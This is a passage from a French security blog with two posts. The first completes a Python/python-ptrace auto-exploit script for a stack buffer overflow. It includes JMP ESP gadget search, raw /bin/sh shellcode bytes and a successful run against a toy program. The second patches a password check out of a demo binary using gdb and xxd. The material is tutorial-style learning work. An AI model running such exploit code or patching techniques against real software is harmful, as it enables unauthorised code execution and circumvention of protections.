				print '[*] Overflow probably detected for an arg of size',len(arg),'\t EBP value : ',hex(process.getreg('ebp'))
			# Make one step
			process.singleStep()
			s=process.waitEvent()
		#now we leave properly
		dbg.quit()
	return len(arg)

A part l'ignoble ligne où je compare la valeur d'EBP avec les 4 derniers charactères de notre argument convertis en hexa puis en entier, le code est quand même relativement simple non ? On n'a donc pas Metasm, mais on s'en sort à peu près !

A ce point nous savons donc ouvrir notre programme en mode debug et nous savons également obtenir la taille d'argument qui va aller écraser l'EIP sauvegardée sur la pile. Il va falloir nous pencher sur la structure de notre exploit à présent. Dans un monde merveilleux notre exploit n'aurait qu'à écrire n'importequoi sur la pile jusqu'à la valeur sauvegardée d'EIP, écrire à cet endroit l'adresse correspondant à "juste après cet endroit même", puis enchainer directement avec notre shellcode :

garbage | Adresse où va se retrouver en mémoire l'octet qui arrive juste après => | shellcode

De cette façon l'exécution sauterait bien dans notre shellcode après l'éxécution du RET. Malheureusement pour nous les noyaux linux intègrent, depuis la version 2.6.17 et jusqu'à la 2.6.30, un placement aléatoire de la stack dans la mémoire[8]. A cause de ce placement aléatoire de la stack il nous est impossible de déterminer à l'avance à quelle adresse se situera notre shellcode en mémoire lorsque nous le pousserons sur la pile et nous ne pouvons donc pas créer notre exploit comme nous le voulions puisque nous ne savons tout simplement pas quoi mettre pour écraser la valeur sauvegardée d'EIP :( Pas grave, une astuce ultra connue existe et tire parti du fait que la pile est placée aléatoirement en mémoire mais pas le code du programme qui, lui, est toujours à la même place. Le but du jeu est donc de trouver, dans le code du programme, une instruction qui nous arrange puisque, elle, sera toujours au même endroit. L'instruction que nous allons chercher c'est tout simplement un "JMP ESP". En effet si nous parvenons à trouver un "JMP ESP" dans le code du programme et à écrire son adresse dans l'EIP sauvegardée, le flux d'exécution va bien se retrouver détourné vers lui à l'exécution du RET, puis immédiatement après vers notre shellcode qui se trouve justement sur la pile (i.e. : à l'adresse contenue dans ESP). Simple, ultra connu, mais terriblement efficace[9] :) Cette méthode nous permet même de conserver la structure d'exploit que nous voulions à un mini détail prêt :

garbage | Adresse d'une instruction JMP ESP quelque part dans les parties fixes de la mémoire du programme | shellcode

Par contre tout ça c'est bien joli, mais maintenant il faut trouver un "JMP ESP" dans les parties de la mémoire qui seront toujours au même endroit et qui sont exécutables (donc typiquement dans le corps du programme). Cette partie là est enfantine avec python-ptrace, et très instinctive : on obtient les plages de mémoires appartenant au programme, pour chacune d'elle on vérifie si elle est exécutable et si tel est le cas on la parcours octet par octet à la recherche de quelque chose qui pourrait être interpretté comme un JMP ESP. Vous pouvez lire le code attentivement,vous verrez que les appels à python-ptrace sont limpides[10] :

import re
from sys import exit

def get_jmpesp(prog,arg):	
	# ----------------------------------
	#	Finding a JMP ESP
	# ----------------------------------	
	dbg,process = load_dbg(prog,arg)
	jmpespaddr=None
	
	# We get the memory mapping
	maps = process.readMappings()
	for m in maps:
		if re.match('..x.',m.permissions) and jmpespaddr==None:
			print'[*] Searching for a JMP ESP in',hex(m.start),'=>',hex(m.end)
			for cur in range(m.start,m.end):
				code=process.disassembleOne(cur)
				if code.mnemonic=='JMP' and code.operands=='ESP':
					jmpespaddr=code.address
					print '[*] JMP ESP found at address',hex(code.address)
	if jmpespaddr==None:
		print '[*] No JMP ESP was found...damned we are doomed !'
		exit(-1)
	dbg.quit()
	return jmpespaddr

Comme vous l'avez constaté je n'utilise pas "disassemble" pour tout désassembler d'un coup, mais "disassembleOne" avec un décalage d'un octet à chaque fois. De cette façon je n'ai pas besoin qu'un JMP ESP existe vraiment dans le code, il me suffit que quelquechose puisse être interpretté comme tel. Typiquement si une constante dans le code avait, par le plus grand des hasard, la même représentation binaire que le code machine JMP ESP, je la trouverai avec disassembleOne et je pourrai l'utiliser en tant que JMP ESP. Ca tombe bien, souvenez vous des sources de notre programme cible : dans le cas où on invoque notre programme de test sans argument il retourne le code d'erreur 0xffe4...devinez à quel code machine ça correspond ;) ? C'est un JMP ESP ! Alors oui c'est une petite bidouille, mais c'est pour le bien de la démonstration et il est à parier que dans des programmes de plus de 10 lignes nous n'aurions pas à insérer artificiellement ce JMP ESP. De toute ce sont les gars de SOGETI eux même qui sont à l'origine de cette bidouille, donc ça colle dans mon envie de copier au plus près leur joli travail :-p

Alors, où en sommes nous ? Nous savons ouvrir le programme en mode débug, nous savons déterminer la taille disponible sur la stack avant d'écraser l'EIP, et nous savons trouver l'adresse d'un JMP ESP pour écraser l'EIP avec. Nous touchons au but :) ! Il ne nous reste plus qu'à trouver un shellcode à proprement parler, à assembler tout ça, et à tester :)

Pour le shellcode je vais grandement m'éloigner de mes inspirateurs puisqu'eux utilisent Metasm pour le compiler à la volée à partir d'assembleur mais moi, puisque je n'ai "que" python-ptrace et pas Metasm, je vais aller au plus court et réutiliser un shellcode public qui spawn /bin/sh. Pour l'assemblage c'est de la concaténation de chaine...rien de bien sorcier :

def create_shellcode(stack_size, jmpespaddr):
	print '[*] Generating exploit for a stack size of',stack_size, 'and a JMP ESP address of', hex(jmpespaddr)
	# Initial garbage
	exploit='a'*stack_size
	
	# JMP ESP address to overwrite the saved EIP value on the stack
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	jmpespaddr-=low_bit
	jmpespaddr/=pow(2,8)
	
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	jmpespaddr-=low_bit
	jmpespaddr/=pow(2,8)
	
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	jmpespaddr-=low_bit
	jmpespaddr/=pow(2,8)
	
	low_bit=jmpespaddr%pow(2,8)
	exploit+=chr(low_bit)
	
	# Shellcode spawning /bin/sh
	raw_sh=("0x6a","0x0b","0x58","0x99","0x52","0x66","0x68","0x2d","0x70","0x89","0xe1","0x52","0x6a","0x68","0x68","0x2f","0x62","0x61","0x73","0x68","0x2f","0x62","0x69","0x6e","0x89","0xe3","0x52","0x51","0x53","0x31","0xc9","0xcd","0x80")
	for op in raw_sh:
		exploit+=chr(int(op,16))
		
	return exploit

Oui, c'est super moche comme code python, mais il commence à se faire tard et j'ai envie de voir si ma copie de script fonctionne :) ! Plus qu'à lancer notre programme victime et voir si on obtient bien un shell, ça va se faire en rajoutant ces ultimes lignes à mon script python contenant toutes les fonctions que nous avons définies jusqu'à présent :

from os import system

JMP = get_jmpesp('./main','a')
STACK_SIZE = get_stacksize('./main','a')
SH = create_shellcode(STACK_SIZE, JMP)

print '[*] Exploiting...'
while 0!=system("./main "+SH):
	pass

Et on lance enfin le script-copie en python...suspens :

$./pyautopwn.py
[*] Loading process "./main" in memory with an arg of size 1
[*] Searching for a JMP ESP in 0x8048000 => 0x8049000
[*] JMP ESP found at address 0x80483f8L
[*] Loading process "./main" in memory with an arg of size 2
[*] Loading process "./main" in memory with an arg of size 3
(...)
[*] Loading process "./main" in memory with an arg of size 131
[*] Loading process "./main" in memory with an arg of size 132
[*] Overflow probably detected for an arg of size 132 	 EBP value :  0x61616161L
[*] Generating exploit for a stack size of 132 and a JMP ESP address of 0x80483f8L
[*] Exploiting...
oz@osiris /home/oz/autopwn $ whoami
oz
oz@osiris /home/oz/autopwn $

Victoire de canard ! Comme quoi il était possible de copier ce script en pure python, même s'il est bien moins beau et bien moins puissant. C'est encore une petite satisfaction personnelle de voir que j'ai pas mal progressé en technique depuis ces dernières années. Les améliorations possible pour ce script sont d'ailleurs nombreuses :

  • Passer le nom du programme et ses arguments initiaux en ligne de commande. Tout est déjà dans le code pour ça et pour supporter l'envoi d'arguments réels avant l'argument à faire grossir, il n'y a qu'une poignée de modification mineures à apporter.
  • N'exécuter qu'une fois le programme en pas à pas et noter à cette occasion où se situent les vrais RET. Pour les exécutions suivantes on ne breakerait qu'aux adresses de ces RET et non plus à chaque pas. Ca pourrait drastiquement accélérer le processus !
  • Nettoyer un peu (je pense en particulier à la comparaison d'EBP avec la valeur hexa de mon argument ainsi qu'à la création de l'exploit par concaténation...)
  • Je laisse votre imagination travailler !!!

Notes

[1] et il est clair que je reviendrai au SSTIC l'an prochain si j'ai le temps, l'argent, et assez de reflexes pour attraper une place avant la rupture de stock.

[2] Il a d'ailleurs été suivi d'un autre sur le même thème. Comme quoi je ne suis pas le seul à avoir été inspiré :)

[3] Metasm aussi est en ruby d'ailleurs

[4] Dans le souci de coller au plus près au travail de Ivan j'ai utilisé très exactement le même programme...à la différence près que moi j'ai bien des '#' devant mes include, et pas des '$', et que je retourne 0xffe4 à la place de 0 en cas d'absence d'argument...on verra pourquoi plus tard ;)

[5] Sans ce rappel moi je n'avais pas compris, je vous épargne donc juste le googlage.

[6] ce qui n'est pas certain :D

[7] D'ailleurs je vous recommande le blog de son auteur principal, même s'il n'est mis à jour que très rarement

[8] Après la 2.6.30 c'est un placement aléatoire complet de la mémoire, plus uniquement de la stack.

[9] Tout du moins jusqu'aux noyaux 2.6.30 exclus. Après ça ne marche plus puisque toutes les zones mémoire sont placées aléatoirement et non plus juste la pile. Il est alors impossible de deviner à l'avance l'adresse d'un JMP ESP, même contenu dans le code du programme..

[10] Si ça ça ne vous donne pas envie de jouer avec python-ptrace, voire d'y contribuer, je ne sais pas ce qu'il vous faut :-p !

jeudi, février 25 2010

Déplombage à l'ancienne

Tout ceux qui ont connu la grande époque des sharewares se souviennent, peut-être avec nostalgie, des bidouilles à faire dans un éditeur héxadécimal pour déverrouiller (illégalement, c'était mal !) telle ou telle fonction. C'est en repensant à cette époque lointaine que je me suis dit qu'à présent j'était très certainement capable de comprendre ce qu'il y avait derrière le fait de changer quelques valeurs dans un éditeur hexa...voire même que je serai capable de reproduire le phénomène. Aussitôt pensé, aussitôt fait (ça m'a pris moins de 10mn, donc n'ayez pas peur : tout le monde arrivera à suivre ^^ !)

Slalom - Creative Common by "Mikael Miettinen" on Flickr
Première chose à faire pour reproduire les conditions de l'époque : trouver un programme cible à "déplomber". Pour le bien de la démonstration j'en réalise un moi-même qui se comportera donc de la façon que je souhaite et dont je connaitrai les rouages internes. Hop je dégaine vim :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) {
    if (0==strcmp("secretpassword",argv[1])){
        printf("HACK SUCCESSFUL\r\n");
    }
    printf("Au revoir\r\n");
    return EXIT_SUCCESS;
}

Le concept de ce micro bout de code est simple : on invoque le programme avec un argument, si jamais cet argument est bien "secretpassword" le programme nous affiche "HACK SUCCESSFUL" (c'est la fonction que nous cherchons à "déplomber"), si l'argument fourni n'est pas le bon le programme passe directement à "Au revoir" (et si on ne fourni pas d'argument il segfault...c'est juste un programme d'exemple !). Bref, on compile ($gcc hackme.c) puis on lance gdb ($gdb a.out). Une fois le soft chargé dans gdb, on désassemble le bloc d'instruction principal ((gdb)disass /r main) :

0x08048461 <main+13>:    53     push   %ebx
0x08048462 <main+14>:    51     push   %ecx
0x08048463 <main+15>:    83 ec 10       sub    $0x10,%esp
0x08048466 <main+18>:    89 cb  mov    %ecx,%ebx
0x08048468 <main+20>:    8b 43 04       mov    0x4(%ebx),%eax
0x0804846b <main+23>:    83 c0 04       add    $0x4,%eax
0x0804846e <main+26>:    8b 00  mov    (%eax),%eax
0x08048470 <main+28>:    89 44 24 04    mov    %eax,0x4(%esp)
0x08048474 <main+32>:    c7 04 24 90 85 04 08   movl   $0x8048590,(%esp)
0x0804847b <main+39>:    e8 c8 fe ff ff call   0x8048348 <printf@plt>
0x08048480 <main+44>:    8b 43 04       mov    0x4(%ebx),%eax
0x08048483 <main+47>:    83 c0 04       add    $0x4,%eax
0x08048486 <main+50>:    8b 00  mov    (%eax),%eax
0x08048488 <main+52>:    89 44 24 04    mov    %eax,0x4(%esp)
0x0804848c <main+56>:    c7 04 24 95 85 04 08   movl   $0x8048595,(%esp)
0x08048493 <main+63>:    e8 d0 fe ff ff call   0x8048368 <strcmp@plt>
0x08048498 <main+68>:    85 c0  test   %eax,%eax
0x0804849a <main+70>:    75 0c  jne    0x80484a8 <main+84>
0x0804849c <main+72>:    c7 04 24 a4 85 04 08   movl   $0x80485a4,(%esp)
0x080484a3 <main+79>:    e8 b0 fe ff ff call   0x8048358 <puts@plt>
0x080484a8 <main+84>:    c7 04 24 b6 85 04 08   movl   $0x80485b6,(%esp)
0x080484af <main+91>:    e8 a4 fe ff ff call   0x8048358 <puts@plt>
0x080484b4 <main+96>:    b8 00 00 00 00 mov    $0x0,%eax
0x080484b9 <main+101>:   83 c4 10       add    $0x10,%esp
0x080484bc <main+104>:   59     pop    %ecx
0x080484bd <main+105>:   5b     pop    %ebx
0x080484be <main+106>:   5d     pop    %ebp
0x080484bf <main+107>:   8d 61 fc       lea    -0x4(%ecx),%esp
0x080484c2 <main+110>:   c3     ret

Bon...ça en raconte des choses tout ça...Heureusement que je connais le programme de base, et que je l'ai conçu exprès pour que la tache soit aisée, sinon je pense qu'avec mes compétences en assembleurs "un peu" rouillées je me serait amusé 5mn à trouver ce que je cherche. Ici aucun problème cependant : il n'y a qu'un seul embranchement conditionnel qu'on repère facilement :

0x0804849a <main+70>:    75 0c  jne    0x80484a8 <main+84>

Ce que l'on veut faire c'est donc supprimer cet embranchement conditionnel afin que le flux d'instruction poursuive son cours direct. Pour ce faire je vais utiliser une méthode à moi et honnêtement j'ignore complètement si c'est la méthode canonique ou pas, mais moi je l'aime bien.

D'abord j'utilise xxd[1] pour récupérer un dump héxa de mon binaire (xxd a.out > dump.txt), ensuite je cherche dans ce dump l'enchainement 750c qui correspond à mon saut conditionnel (antépénultième bloc dans la ligne suivante) :

0000490: 8504 08e8 d0fe ffff 85c0 750c c704 24a4  ..........u...$.

Je remplace maintenant mon saut conditionnel par l'instruction préférée des pionniers des shellcodes, à savoir le bien aimé 0x90 qui correspond à NOP[2]. La ligne dans mon fichier dump devient donc :

0000490: 8504 08e8 d0fe ffff 85c0 9090 c704 24a4  ..........u...$.

On récupère un binaire à partir du dump héxa modifié (xxd -r dump.txt b.out). Et ensuite il suffit de lancer b.out avec n'importe quel argument pour bien passer par la fonction que l'on voulait déplomber et qui était auparavent "protégée" par mot de passe :

$ ./b.out HackYou
HACK SUCCESSFUL
Au revoir

Et voilà, le tour est joué. Il me reste encore quelques années/décénnies/vies de pratique avant d'espérer atteindre le niveau de compétence de certains gourous du désassembleur, mais en tout cas ça m'a bien amusé de constater le chemin parcouru depuis mes années collèges avec ce mini déplombage des familles... et ça m'a aussi donné envie de jouer plus souvent avec le couple gdb/xxd.

Notes

[1] Inclu dans le package de "vim", c'est donc forcément un programme génial ;) !

[2] NOP signifiant : No OPeration. Cette instruction ne fait rien du tout comme son nom l'indique :)

- page 2 de 3 -